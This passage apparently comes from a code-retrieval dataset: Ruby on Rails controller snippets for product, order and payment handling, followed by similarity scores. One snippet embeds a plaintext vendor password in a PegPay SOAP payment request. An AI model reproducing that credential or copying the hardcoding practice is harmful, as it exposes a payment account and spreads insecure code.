xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <PostTransaction xmlns=\"http://PegPayTelecomsApi/\">\n <trans>\n <DigitalSignature>'+ \"#{digital_signature}\" +'</DigitalSignature>\n <FromTelecom>'+ \"#{@order.pay_type}\" +'</FromTelecom>\n <ToTelecom>'+ \"#{@order.pay_type}\" +'</ToTelecom>\n <PaymentCode>1</PaymentCode>\n <VendorCode>MABIRA</VendorCode>\n <Password>81W30DI846</Password>\n <PaymentDate>'+ Date.today.strftime(\"%m/%d/%Y\") +'</PaymentDate>\n <Telecom></Telecom>\n <CustomerRef>'+\"#{@order.phone_no}\"+'</CustomerRef>\n <CustomerName>'+\"#{@order.name}\"+'</CustomerName>\n <TranAmount>'+\"#{@cart.total_price}\"+'</TranAmount>\n <TranCharge>0</TranCharge>\n <VendorTranId>1</VendorTranId>\n <ToAccount></ToAccount>\n <FromAccount>'+\"#{@order.phone_no}\"+'</FromAccount>\n <TranType>PULL</TranType>\n </trans>\n </PostTransaction>\n </soap:Body>\n </soap:Envelope>'\n\n peg_pay_status_code = make_http_request(url, post_xml)\n puts \"status code============================================\" \n puts peg_pay_status_code\n puts \"status code============================================\"\n # ******* end of sending request to yo! payments server ******************\n message=getTransactionStatus(peg_pay_status_code )\n message\n\n respond_to do |format|\n if peg_pay_status_code == 0\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n Notifier.order_received(@order).deliver\n flash[:notice] = 'Thank you for your order.' \n format.html { redirect_to(:controller=>'main', :action=>'index') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n else\n flash[:notice]= message\n\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def prodingrediant_params\n params.require(:prodingrediant).permit(:productname, :categoryname, :quantity, :notes)\n end", "def product_params\n params.require(:product).permit(:productarticul, :productname, :distributor, :price, :nalichie)\n end", "def product_params\n params.require(:product).permit(:codigo, :descripcion, :montoU, :detalle)\n end", "def create\n @product = Product.find(params[:product_id])\n @sku = @product.skus.create!(sku_params)\n #@sku = Sku.new(sku_params)\n\n redirect_to @product\n \n end", "def preproduct_params\n params.require(:preproduct).permit(:name, :price, :description, :availibility, :picture)\n end", "def product_params\n params.require(:product).permit(:product_code, :skull_id, :provider_id, :warehouse_id, :import_id, :name, :import_quality, :available_quality, :instock_quality, :import_price, :expire)\n end", "def products_purposes_relation_params\n params.fetch(:products_purposes_relation, {})\n params.require(:products_purposes_relation).permit(:stars, :product_id, :purpose_id)\n end", "def postProductProvisioningAdvert( product_id, publisher_id, max_tags, max_locations)\n params = Hash.new\n params['product_id'] = product_id\n params['publisher_id'] = publisher_id\n params['max_tags'] = max_tags\n params['max_locations'] = max_locations\n return doCurl(\"post\",\"/product/provisioning/advert\",params)\n end", "def create\n @product = Product.new(product_params)\n @product.user = current_user\n @product.uname = current_user.name;\n @product.contact = current_user.contact;\n @product.pid = 0\n Time.zone = \"UTC\"\n @product.price = @product.startbid \n @product.pbidprice = @product.price\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { head :no_content }\n create_rs(current_user.id, @product.id, \"uploaded\")\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end", "def create\n unread\n\n @product = Product.new(params[:product])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_params\n params.require(:product).permit(:name, :volume, :sku, :special, :normal, :diff, :aisle, :discount)\n end", "def product_params\n params.require(:product).permit(:product_name, :sku, :is_available,\n :taxable_class, :description, :price,\n :cost, :notes, :product_image, :stock_quantity,\n :sale_price, :hotdeal, category_ids: [])\n end", "def set_product\n if !@products\n @products = Product.all\n end\n price_ranges = [ {to: 10 }, {from: 10.01, to: 20 }, {from: 20.01, to: 30 }, {from: 30.01}]\n if !@producss\n @producss = Product.search \"*\", aggs: {price: {ranges: price_ranges}, category_id: {}, condition_id: {}, date: {}}\n end\n if !@producs\n @producs = Product.search(params.fetch(:name, \"*\")).to_a\n end\n end", "def create\n flash[:notice]=\"\"\n #Variables para inicializar popin destinatario\n @cities = City.all\n #Variables de la clase\n $product = Product.new(params[:product])\n $product.product_state_id = ProductState.no_enviado #Estado por defecto del producto es No enviado id = 2\n $product.created_at=$product.format_admission_date\n @retire_note_id=$product.retire_note_id\n @product_type_id=$product.product_type_id\n @retire_note=RetireNote.find(@retire_note_id)\n @amount=RetireNote.where(id: @retire_note_id).first.amount\n respond_to do |format|\n begin \n if $product.save\n $products.push($product)\n $product=Product.new\n $product.created_at=$product.format_admission_date\n #actualiza la amount_processed de nota de retiro\n begin\n @retire_note.update_attribute(:amount_processed, $item)\n rescue\n flash[:notice]=\"No se pudo actualizar la cantidad de la nota\"\n CustomLogger.error(\"No se pudo actualizar la cantidad de la nota de retiro: #{@retire_note}, usuario: #{current_user.username}, #{Time.now}\")\n end\n #Controla que se ingreso todos los productos de la nota de retiro\n if ($item.to_i < @amount.to_i)\n $item= $item + 1\n $product.retire_note_id = @retire_note_id\n $product.product_type_id = @product_type_id\n $product.product_state_id = ProductState.no_enviado #ProductState.where(\"state_name='No enviado'\").first.id\n format.js\n else\n $item= 1 #seteo item a 1 para los productos de una nueva nota de retior\n #Cambio de estado la nota de retiro registrado de \"En Proceso\" a \"Procesado\"\n begin\n @state_id=RetireNoteState.where(\"state_name='Procesado'\").first.id\n @retire_note.update_attribute(:retire_note_state_id, @state_id)\n flash[:notice]=\"Esta nota se ha procesado con exito.\"\n rescue\n CustomLogger.error(\"Error al procesar la nota de retiro: #{@retire_note}, usuario: #{current_user.username}, #{Time.now}\")\n end\n $product = Product.new\n $product.created_at=$product.format_admission_date\n #init all--------------\n #Obtengo la lista de notas de retiro para mostrar en el autocom´ete\n #En la lista muestro todas las notas de retiro no procesadas cuya fecha sea hasta 31 dias antes de la fecha actual\n $retire_notes= RetireNote.find(:all, :conditions=> \"retire_note_state_id= 2 and date between current_date-31 and current_date\")\n $receivers = Receiver.find(:all)\n \n $addresses=Array.new\n $item = 1\n ##----------\n format.js\n end\n else\n #init all--------------\n #Obtengo la lista de notas de retiro para mostrar en el autocom´ete\n #En la lista muestro todas las notas de retiro no procesadas cuya fecha sea hasta 31 dias antes de la fecha actual\n $retire_notes = RetireNote.find(:all, :conditions=> \"retire_note_state_id= 2 and date between current_date-31 and current_date\")\n $receivers = Receiver.find(:all)\n $product_state = ProductState.new\n $product.product_state_id = ProductState.no_enviado #ProductState.where(\"state_name='No enviado'\").first.id ##Por defecto el estado es \"No Enviado\"\n \n $addresses=Array.new\n $item = 1\n ##----------\n format.js\n end\n rescue\n flash[:notice]=\"Atencion.!! El codigo ingresado ya fue registrado.. Introdusca otro codigo de barras por favor\"\n CustomLogger.error(\"Se intento guardar un producto con un codigo de barras repetido: #{$product.bar_code}, usuario: #{current_user.username}, #{Time.now}\")\n format.js\n end\n end\n end", "def product_params\n params.require(:product).permit(:customer_id, :operator_id, :weight, :payment_type, :product_name)\n end", "def create_product_art_request\n request_class = product.product_request_class.constantize\n request = request_class.new(art_request_id: self.id)\n request.save!\n end", "def prominent_params\n params.require(:prominent).permit(:product_id, :level, :user_id)\n end", "def new\r\n @se_use_product = SeUseProduct.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @se_use_product }\r\n end\r\n end", "def product_params\n params.require(:product).permit(:name, :description, :active, :user_id)\n end", "def product_params\n params.require(:product).permit(:model, :sku, :upc, :ean, :jan, :isbn, :mpn, :location, :quantity, :stock_status_id, :image, :manufacturer_id, :shipping, :price, :points, :tax_class_id, :date_available, :weight, :weight_class_id, :length, :width, :height, :length_class_id, :subtract, :minimum, :sort_order, :status, :date_added, :date_modified, :viewed, :name, :description, :meta_description, :meta_keyword)\n end", "def pro_entry_params\n params.require(:pro_entry).permit( :products_id, :quantity_input)\n end", "def create\n @product_buy_click = ProductBuyClick.new(product_buy_click_params)\n @product_buy_click.user = current_user if is_client_app?\n\n if @product_buy_click.save\n render json: @product_buy_click, status: :created, location: @product_buy_click\n else\n render json: @product_buy_click.errors, status: :unprocessable_entity\n end\n end", "def create\n update_special_attributes\n # vendor_id_write isn't actually used by vnd_load_data_eload but the value\n # 001 is written to the table\n package_params[:vendor_id_write] = '001'\n @package = Package.new(package_params)\n respond_to do |format|\n if @package.save\n format.html { redirect_to @package }\n flash[:success] = 'Package was successfully created.'\n format.json { render :show, status: :created, location: @package }\n else\n format.html { render :new }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end", "def products\n end", "def receipeproduct_params\n params.require(:receipeproduct).permit(:product_id, :receipe_id, :quantity)\n end", "def product_purchase_params\n params.require(:product_purchase).permit(:product_id, :purchase_id, :unity_value, :quantity, :value, :status, :custom_title)\n end", "def product_params\n params.require(:product).permit(\n :gtin, :bar_code_type, :unit_descriptor, :internal_supplier_code, :brand_name, :description_short, :description_full, :active,\n client_products_attributes: [:id, client_attributes: [:client_type, :gln, :full_name, :short_name, :description]]\n )\n end", "def product_params\n params.require(:product).permit(:desc, :min_value, :max_value, :establishment_name, :establishment_cpnj)\n end", "def supplier_rebate_params\n params.require(:purchase_order).permit(:purchase_user_id,:bol_reference,:vendor_name,:status, :recon_status,:vendor_payment,:zone,:zone_id,:payment_id,:vendor_id,:user_id,:order_date,:system__internal_reference,:internal_po_reference, purchase_order_products_attributes: PurchaseOrderProduct.attribute_names.map(&:to_sym).push(:_destroy) )\n end", "def reserve_product\n \n method = params[:method]\n type = params[:type]\n \n #send out our reserve product notice.\n #find our object description\n if type == 'resource'\n object = Resource.find(params[:id])\n\t\n elsif type =='manifestation'\n object = Manifestation.find(params[:id])\n else\n logger.debug(\"DEBUG: RESERVE: reserve object type not recognised!\")\n return false\n end\n \n if !object.blank? && !method.blank? && !type.blank?\n logger.debug(\"DEBUG: RESERVE: About to send email\")\n \n\tusername = @login.username\n\tusername = @login.username.to_s + \"<[email protected]>\" unless username.to_s=~/\\@/\n\t\n\tHireNotice.deliver_email_hire_notice(username, @login.id, type, object.id, object.frbr_ui_desc, '', method)\n else\n\tlogger.debug(\"DEBUG: RESERVE: ERROR \")\n end\n \nend", "def product_params\n params.require(:product).permit(:title, :user_id, :status, :barcode,:orders_count,\n :comments_count,:synopsis )\n end", "def product_params\n params\n .require(:product)\n .permit(\n :totalResults, :productId, :productTitle, :productUrl,\n :imageUrl, :originalPrice, :salePrice, :discount,\n :evaluateScore, :thirtydaysCommission, :volume, :packageType,\n :lotNum, :validTime, :quanity_sold, :commision, :discount,\n :aff_url, :category, :subcategory, :sub_subcategory, :productDescription\n )\n end", "def product_params\n\t\t params.require(:product).permit(:name, :sku_id, :price, :expiry_date)\n\t\t end", "def own_product_params\n params.require(:own_product).permit(:product_id, :user_id, :count, :memo)\n end", "def product_params\n params.require(:product).permit(:description, :precio, :cantidad)\n end", "def postProductProvisioningSyndication( product_id, publisher_id)\n params = Hash.new\n params['product_id'] = product_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/product/provisioning/syndication\",params)\n end", "def create\n @repay = Repay.new(repay_params)\n respond_to do |format|\n if @repay.save\n @repay.update_product_info\n format.html { redirect_to repays_path, notice: 'Import order was successfully created.' }\n format.json { render :show, status: :created, location: @repay }\n else\n format.html { render :new }\n format.json { render json: @repay.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_params\n \tparams.require(:org_product).permit(:name, :tax_amount, {typ_category: :id}, {typ_subcategory: :id}, :price,\n \t:weight_in_grams, :available_quantity, :expiry_date, :description, :online_order_available, :image)\n end", "def product_sku_params\n params.require(:product_sku).permit(:productsku, :createdby, :product_id)\n end", "def create\n @upsell = Upsell.new(upsell_params)\n @upsell.produto = @produto\n\n respond_to do |format|\n if @upsell.save\n format.html { redirect_to produto_upsell_index_path(@produto), notice: 'Upsell was successfully created.' }\n format.json { render :show, status: :created, location: @upsell }\n else\n format.html { render :new }\n format.json { render json: @upsell.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\n # find a product against incoming barcode\n # now link that product with incoming invoice ID\n # incoming barcode might not match with any product in our system\n\n\n @product = InvoiceProduct.new(params[:invoice_product])\n\n p = Product.find_by_bar_code(params[:bar_code])\n shop_id = params[:shop_id]\n array = ProductShop.get_shop_products(p.id, shop_id)\n\n if p\n @product.product_id= p.id\n end\n\n respond_to do |format|\n if !p.nil? and !\n array.empty? and @product.save\n format.html { redirect_to invoice_invoice_products_path, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created}\n else\n puts \"******************error******************\"\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_product_data\n\tsave_file(print_products)\n\tproduct_details\nend", "def product_params\n params.require(:product).permit(:name, :sku, :product_type, :price, store_ids: [])\n end", "def create\n @product = Product.new(product_params, actived: true)\n if is_my_resource(@product.prossumer_id)\n\n if @product.save\n if(params[:file])\n File.open(Rails.root.join('public', 'product_prev', \"#{@product.id}\"), 'wb') do |file|\n file.write(params[:file].read)\n end\n end\n\n render json: @product.as_json({\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n }), status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end\n end" ]
[ "0.61316276", "0.5775731", "0.57378286", "0.5716126", "0.5703085", "0.56346285", "0.5615487", "0.55764484", "0.5542313", "0.5537466", "0.55358696", "0.5517816", "0.54330254", "0.5428313", "0.5417166", "0.5409969", "0.53628206", "0.5361887", "0.5352742", "0.534611", "0.5324688", "0.53147215", "0.5312914", "0.5310374", "0.5298986", "0.5286043", "0.5285757", "0.52787006", "0.52785766", "0.5273537", "0.526935", "0.52601993", "0.52567476", "0.5255197", "0.52473927", "0.52465487", "0.5243159", "0.5236372", "0.5235543", "0.52347875", "0.52317536", "0.5231525", "0.5213374", "0.5192719", "0.5191648", "0.5187955", "0.5185058", "0.51753813", "0.51750356", "0.51729155", "0.51711637", "0.51697826", "0.5166579", "0.5166488", "0.5163659", "0.5162373", "0.51600176", "0.5157996", "0.5153616", "0.5148448", "0.5143801", "0.5140214", "0.5139985", "0.5133927", "0.51337725", "0.5126217", "0.51246035", "0.5123586", "0.511918", "0.5114459", "0.51134855", "0.5110266", "0.51069707", "0.5104095", "0.5103185", "0.51031804", "0.50997055", "0.50918746", "0.5083979", "0.50833166", "0.5081826", "0.50769365", "0.50729597", "0.5065174", "0.5061658", "0.5059226", "0.5055196", "0.5046846", "0.50449", "0.5043915", "0.5042673", "0.50423646", "0.50408924", "0.50394523", "0.5036396", "0.50265175", "0.50263524", "0.50241494", "0.50239253", "0.5022386" ]
0.6349668
0
PUT /product_use_printruns/1 PUT /product_use_printruns/1.xml
def update @product_use_printrun = ProductUsePrintrun.find(params[:id]) @product_categories = ProductCategory.find(:all) checked_features = check_features_using_helper( params[:product_prints_list], ProductCategory, @product_use_printrun.product_categories ) uncheck_missing_features_helper( @product_categories, checked_features, @product_use_printrun.product_categories ) respond_to do |format| if @product_use_printrun.update_attributes(params[:product_use_printrun]) flash[:notice] = 'ProductUsePrintrun was successfully updated.' format.html { redirect_to :controller => 'product_categories', :action => "index" } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @product_use_printrun.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\r\n @se_use_product = SeUseProduct.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @se_use_product.update_attributes(params[:se_use_product])\r\n format.html { redirect_to(@se_use_product, :notice => 'Se use product was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @se_use_product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update_product(rid, add_params = nil)\n params = {\n uid: uid,\n rid: rid,\n }\n api_call('/stores/:uid/products/:rid(.:format)',:put,params,add_params)\n end", "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def update\n respond_to do |format|\n if @sales_upsale_product.update(sales_upsale_product_params)\n format.html { redirect_to @sales_upsale_product, notice: 'Sales upsale product was successfully updated.' }\n \n format.json { render :show, status: :ok, location: @sales_upsale_product }\n else\n format.html { render :edit }\n format.json { render json: @sales_upsale_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to products_url(:oss => (@product.oss ||= 'false')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors.to_xml }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def set_sales_upsale_product\n @sales_upsale_product = SalesUpsaleProduct.find(params[:id])\n end", "def update\n respond_to do |format|\n if @preproduct.update(preproduct_params)\n format.html { redirect_to @preproduct, notice: 'Preproduct was successfully updated.' }\n format.json { render :show, status: :ok, location: @preproduct }\n else\n format.html { render :edit }\n format.json { render json: @preproduct.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product.update(product_params)\n set_products\n end", "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_product_info\n update_info = params[:product]\n market = Market.find(params[:place_id])\n product = market.products.find(update_info[:id])\n if product.update(update_info)\n response = {status: \"OK\", code: 200}\n else\n response = { status: \"Not Ok\", code: 201}\n end\n respond_to do |format|\n format.json{render json: response.to_json }\n end\n end", "def update\n @document.product_id = document_params[:product_id] #入力時に選択した製品のidを、documentの外部 key として記録\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: \"Document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = TempProduct.find(params[:id])\n @product.qty = params[:qty]\n # save product\n if @product.save\n # success\n render :json => { :success => true }\n else\n # failed\n render :json => { :success => false }\n end\n end", "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @produto_kit = ProdutoKit.find(params[:id])\n\n respond_to do |format|\n if @produto_kit.update_attributes(params[:produto_kit])\n flash[:notice] = 'ProdutoKit was successfully updated.'\n format.html { redirect_to(@produto_kit) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @produto_kit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n #@product.accessible = :all if admin?\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to quick_list_path, :notice => 'Product was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user_product_xref = UserProductXref.find(params[:id])\n\n respond_to do |format|\n if @user_product_xref.update_attributes(params[:user_product_xref])\n format.html { redirect_to(@user_product_xref, :notice => 'User product xref was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_product_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to([:admin, @product], notice: 'Product was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated product: #{@product.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @own_product.update(own_product_params)\n format.html { redirect_to @own_product, notice: 'Own product was successfully updated.' }\n format.json { render :show, status: :ok, location: @own_product }\n else\n format.html { render :edit }\n format.json { render json: @own_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n save_success\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @os_product.update(os_product_params)\n format.html { redirect_to @os_product, notice: 'Os product was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_product }\n else\n format.html { render :edit }\n format.json { render json: @os_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @product_id = args[:product_id] if args.key?(:product_id)\n @unique_id = args[:unique_id] if args.key?(:unique_id)\n @vendor_id = args[:vendor_id] if args.key?(:vendor_id)\n end", "def update\n #@product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Tekemasi tuotepaivitys onnistui.'\n\t\tformat.html { redirect_to(admin_index_path)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Produto alterado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.first(conditions: ['id = ? and user_id = ?', id: params[:id], user_id: current_user.id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @product = Product.find_by_urlname(params[:id])\r\n\r\n respond_to do |format|\r\n if @product.update_attributes(params[:product])\r\n flash[:notice] = 'Product was successfully updated.'\r\n format.html { redirect_to(:controller => :admin, :action => :product_list) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @product = current_user.user_info.products.find(params[:id])\n @product = Product.find(params[:id]) if current_user.user_info.admin \n respond_to do |format|\n if @product.update_attributes(params[:product])\n Shopify.modify @product\n format.html { redirect_to :action => 'index' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product_request = ProductRequest.find(params[:id])\n\n respond_to do |format|\n if @product_request.update_attributes(params[:product_request])\n flash[:notice] = 'ProductRequest was successfully updated.'\n format.html { redirect_to(@product_request) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_sku.update(product_sku_params)\n format.html { redirect_to @product_sku, notice: 'Product sku was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_sku }\n else\n format.html { render :edit }\n format.json { render json: @product_sku.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_product\n #クライアントから入力された商品IDの情報をすでに登録されているDBから取ってくる \n #/product/1\n @product = Product.find(params[:id])\n \n end", "def update\n @use = Use.find(params[:id])\n\n respond_to do |format|\n if @use.update_attributes(params[:use])\n format.html { redirect_to(@use, :notice => 'Use was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @use.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n unread\n\n @product = Product.find(params[:id])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @product_line_id = args[:product_line_id] if args.key?(:product_line_id)\n @shopping_ids = args[:shopping_ids] if args.key?(:shopping_ids)\n @type = args[:type] if args.key?(:type)\n @variant_cluster_id = args[:variant_cluster_id] if args.key?(:variant_cluster_id)\n end", "def update\n @supplier = Supplier.find(params[:supplier_id])\n @product = @supplier.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @supplier, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def update\n @sample_product = SampleProduct.find(params[:id])\n\n respond_to do |format|\n if @sample_product.update_attributes(params[:sample_product])\n format.html { redirect_to(@sample_product, :notice => 'Sample product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sample_product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_product\n self.product.mrp = self.mrp\n self.product.rate = self.rate\n self.product.vat = self.vat\n self.product.pack = self.pack\n self.product.save\n end", "def set_os_product\n @os_product = OsProduct.find(params[:id])\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n\n # RhoConnect server\n server = \"http://127.0.0.1:9292\"\n login = \"rhoadmin\"\n password = \"\"\n\n # Login to the RhoConnect server\n res = RestClient.post(\"#{server}/login\", { :login => login, :password => password }.to_json, :content_type => :json)\n\n # Get the token from the login response\n token = RestClient.post(\"#{server}/api/get_api_token\", '', { :cookies => res.cookies })\n\n # Send a ping message, which triggers a ping on the device\n ping_params = {\n :api_token => token,\n :user_id => [\"bhanu\"], # user_id that this message is for\n :sources => [\"Product\"], # sources we want to sync when this message is received\n :vibrate => \"2\",\n :message => \"#{params[:product][:name]} has been updated\",\n :sound => ''\n }\n\n RestClient.post(\"#{server}/api/ping\", ping_params.to_json, :content_type => :json)\n\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @produto.update(produto_params)\n respond_with @produto\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update!(**args)\n @inappproduct = args[:inappproduct] unless args[:inappproduct].nil?\n end", "def update!(**args)\n @inappproduct = args[:inappproduct] unless args[:inappproduct].nil?\n end", "def update!(**args)\n @inappproduct = args[:inappproduct] unless args[:inappproduct].nil?\n end", "def update!(**args)\n @inappproduct = args[:inappproduct] unless args[:inappproduct].nil?\n end", "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @batch_id = args[:batch_id] unless args[:batch_id].nil?\n @inappproductsinsertrequest = args[:inappproductsinsertrequest] unless args[:inappproductsinsertrequest].nil?\n @inappproductsupdaterequest = args[:inappproductsupdaterequest] unless 